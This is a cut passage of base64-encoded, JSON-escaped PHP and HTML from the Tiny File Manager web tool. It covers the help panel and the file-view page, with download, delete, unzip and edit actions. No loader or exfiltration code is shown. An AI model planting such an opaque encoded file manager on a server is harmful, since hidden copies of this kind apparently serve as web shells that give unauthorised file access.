rIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgIC